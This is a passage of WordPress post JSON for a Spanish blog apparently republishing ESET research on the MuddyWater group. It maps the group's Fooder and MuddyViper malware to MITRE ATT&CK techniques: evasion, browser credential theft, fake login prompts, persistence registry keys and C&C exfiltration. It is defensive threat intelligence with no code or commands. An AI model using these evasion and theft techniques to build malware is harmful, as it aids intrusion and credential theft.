a custom byte-wise decryption routine to decrypt strings.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1620\" target=\"_blank\" rel=\"noopener\"><em>T1620<\/em><\/a><\/td>\n<td>Reflective Code Loading<\/td>\n<td>The Fooder loader performs reflective code loading to run additional tools (MuddyViper, reverse tunnels, and HackingBrowserData).<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1497\/003\" target=\"_blank\" rel=\"noopener\"><em>T1497.003<\/em><\/a><\/td>\n<td>Virtualization\/Sandbox Evasion: Time Based Evasion<\/td>\n<td>MuddyViper uses many calls to a sleep function to detect and avoid virtualization and analysis environments, and generally to inhibit dynamic analysis.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1027\/007\" target=\"_blank\" rel=\"noopener\"><em>T1027.007<\/em><\/a><\/td>\n<td>Obfuscated Files or Information: Dynamic API Resolution<\/td>\n<td>CE-Notes and LP-Notes perform dynamic API resolution by decrypting strings at runtime.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1134\/002\" target=\"_blank\" rel=\"noopener\"><em>T1134.002<\/em><\/a><\/td>\n<td>Access Token Manipulation: Create Process with Token<\/td>\n<td>Fooder\u2019s launcher attempts to duplicate the token of a process specified by the operator when launching Fooder via\u00a0CreateProcessAsUserA.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1622\" target=\"_blank\" rel=\"noopener\"><em>T1622<\/em><\/a><\/td>\n<td>Debugger Evasion<\/td>\n<td>MuddyViper searches for specific debugging tools, adjusting its behavior accordingly.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1070\/009\" target=\"_blank\" rel=\"noopener\"><em>T1070.009<\/em><\/a><\/td>\n<td>Indicator Removal: Clear Persistence<\/td>\n<td>MuddyViper can modify registry keys used for persistence, if instructed to uninstall itself.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1070\/004\" target=\"_blank\" rel=\"noopener\"><em>T1070.004<\/em><\/a><\/td>\n<td>Indicator Removal: File Deletion<\/td>\n<td>MuddyViper can delete itself from the system, if instructed to uninstall itself.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1036\" target=\"_blank\" rel=\"noopener\"><em>T1036<\/em><\/a><\/td>\n<td>Masquerading<\/td>\n<td>Some versions of Fooder masquerade as an innocuous Snake game.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1036\/004\" target=\"_blank\" rel=\"noopener\"><em>T1036.004<\/em><\/a><\/td>\n<td>Masquerading: Masquerade Task or Service<\/td>\n<td>MuddyViper can create a task named\u00a0ManageOnDriveUpdater.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1112\" target=\"_blank\" rel=\"noopener\"><em>T1112<\/em><\/a><\/td>\n<td>Modify Registry<\/td>\n<td>MuddyViper can modify the\u00a0HKCU\\Software\\Microsoft\\Windows\\CurrentVe<wbr \/>rsion\\Explorer\\User Shell Folders\\Startup\u00a0and\u00a0HKCU\\Software\\Microsoft\\Windows\\CurrentVe<wbr \/>rsion\\Explorer\\Shell Folders\\Startup\u00a0registry keys, to change the location of the Startup folder.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1027\/009\" target=\"_blank\" rel=\"noopener\"><em>T1027.009<\/em><\/a><\/td>\n<td>Obfuscated Files or Information: Embedded Payloads<\/td>\n<td>Fooder can extract an embedded, AES-encrypted payload.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1027\/013\" target=\"_blank\" rel=\"noopener\"><em>T1027.013<\/em><\/a><\/td>\n<td>Obfuscated Files or Information: Encrypted\/Encoded File<\/td>\n<td>Fooder can extract an embedded, AES-encrypted payload.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\"><strong>Credential Access<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1555\/003\" target=\"_blank\" rel=\"noopener\"><em>T1555.003<\/em><\/a><\/td>\n<td>Credentials from Password Stores: Credentials from Web Browsers<\/td>\n<td>CE-Notes and Blub attempt to steal credentials stored in browsers.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1056\/002\" target=\"_blank\" rel=\"noopener\"><em>T1056.002<\/em><\/a><\/td>\n<td>Input Capture: GUI Input Capture<\/td>\n<td>MuddyViper and LP-Notes have the ability to display a Windows security login prompt to capture login credentials and confirm the credentials\u2019 veracity by relaying those credentials to legitimate Windows APIs.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\"><strong>Discovery<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1082\" target=\"_blank\" rel=\"noopener\"><em>T1082<\/em><\/a><\/td>\n<td>System Information Discovery<\/td>\n<td>MuddyViper collects system information from compromised systems and reports it back to the C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1518\/001\" target=\"_blank\" rel=\"noopener\"><em>T1518.001<\/em><\/a><\/td>\n<td>Software Discovery: Security Software Discovery<\/td>\n<td>MuddyViper attempts to get a process list of running applications, looks for security-related processes and, if found, reports them to the C&amp;C server and modifies its behavior.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\"><strong>Collection<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1074\/001\" target=\"_blank\" rel=\"noopener\"><em>T1074.001<\/em><\/a><\/td>\n<td>Data Staged: Local Data Staging<\/td>\n<td>Blub, CE-Notes, and LP-Notes stage stolen credentials on disk for MuddyViper, reverse tunnels, or RMM tools to collect and exfiltrate.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1560\/001\" target=\"_blank\" rel=\"noopener\"><em>T1560.001<\/em><\/a><\/td>\n<td>Archive Collected Data: Archive via Utility<\/td>\n<td>MuddyViper uses PowerShell\u2019s\u00a0Compress-Archive\u00a0command to compress browser data collected via the HackBrowserData utility.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"6\"><strong>Command and Control<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1573\/001\" target=\"_blank\" rel=\"noopener\"><em>T1573.001<\/em><\/a><\/td>\n<td>Encrypted Channel: Symmetric Cryptography<\/td>\n<td>MuddyViper uses AES-CBC encryption to encrypt data before exchanging data with the C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1219\" target=\"_blank\" rel=\"noopener\"><em>T1219<\/em><\/a><\/td>\n<td>Remote Access Software<\/td>\n<td>MuddyWater use Atera, Level, and PDQ RMM tools for remote access to victims\u2019 systems.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1071\/001\" target=\"_blank\" rel=\"noopener\"><em>T1071.001<\/em><\/a><\/td>\n<td>Application Layer Protocol: Web Protocols<\/td>\n<td>MuddyViper uses HTTPS for C&amp;C communications. The reverse tunnels use a mixture of HTTP and HTTPS for C&amp;C communications.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1105\" target=\"_blank\" rel=\"noopener\"><em>T1105<\/em><\/a><\/td>\n<td>Ingress Tool Transfer<\/td>\n<td>MuddyViper has the capability to download additional payloads from its C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1001\" target=\"_blank\" rel=\"noopener\"><em>T1001<\/em><\/a><\/td>\n<td>Data Obfuscation<\/td>\n<td>MuddyViper leverages HTTPS for C&amp;C communications, using the\u00a0Status\u00a0header to hide a backdoor command ID in the server-to-client direction of the communication.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1090\" target=\"_blank\" rel=\"noopener\"><em>T1090<\/em><\/a><\/td>\n<td>Proxy<\/td>\n<td>MuddyWater uses customized versions of go\u2011socks5 reverse proxy tools.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\"><strong>Exfiltration<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1041\" target=\"_blank\" rel=\"noopener\"><em>T1041<\/em><\/a><\/td>\n<td>Exfiltration Over C2 Channel<\/td>\n<td>MuddyWater tools exfiltrate data to C&amp;C servers using C&amp;C channels (HTTP and HTTPS).<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1030\" target=\"_blank\" rel=\"noopener\"><em>T1030<\/em><\/a><\/td>\n<td>Data Transfer Size Limits<\/td>\n<td>MuddyViper supports downloading\/\u200cuploading files in chunks of limited size.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Los investigadores de ESET han identificado nuevas actividades de MuddyWater dirigidas principalmente a organizaciones en Israel, con un objetivo confirmado en Egipto. MuddyWater, tambi\u00e9n conocido [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":455,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-454","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-seguridad-informatica"],"jetpack_featured_media_url":"https:\/\/i2.wp.com\/web-assets.esetstatic.com\/tn\/-x700\/wls\/2025\/11-25\/muddywater\/muddywater-eset-threat-research.jpg?w=1244&resize=1244,700&ssl=1","_links":{"self":[{"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=\/wp\/v2\/posts\/454","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=454"}],"version-history":[{"count":1,"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=\/wp\/v2\/posts\/454\/revisions"}],"predecessor-version":[{"id":456,"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=\/wp\/v2\/posts\/454\/revisions\/456"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=\/wp\/v2\/media\/455"}],"wp:attachment":[{"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=454"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=454"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aldomonges.com\/aldomonges\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=454"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}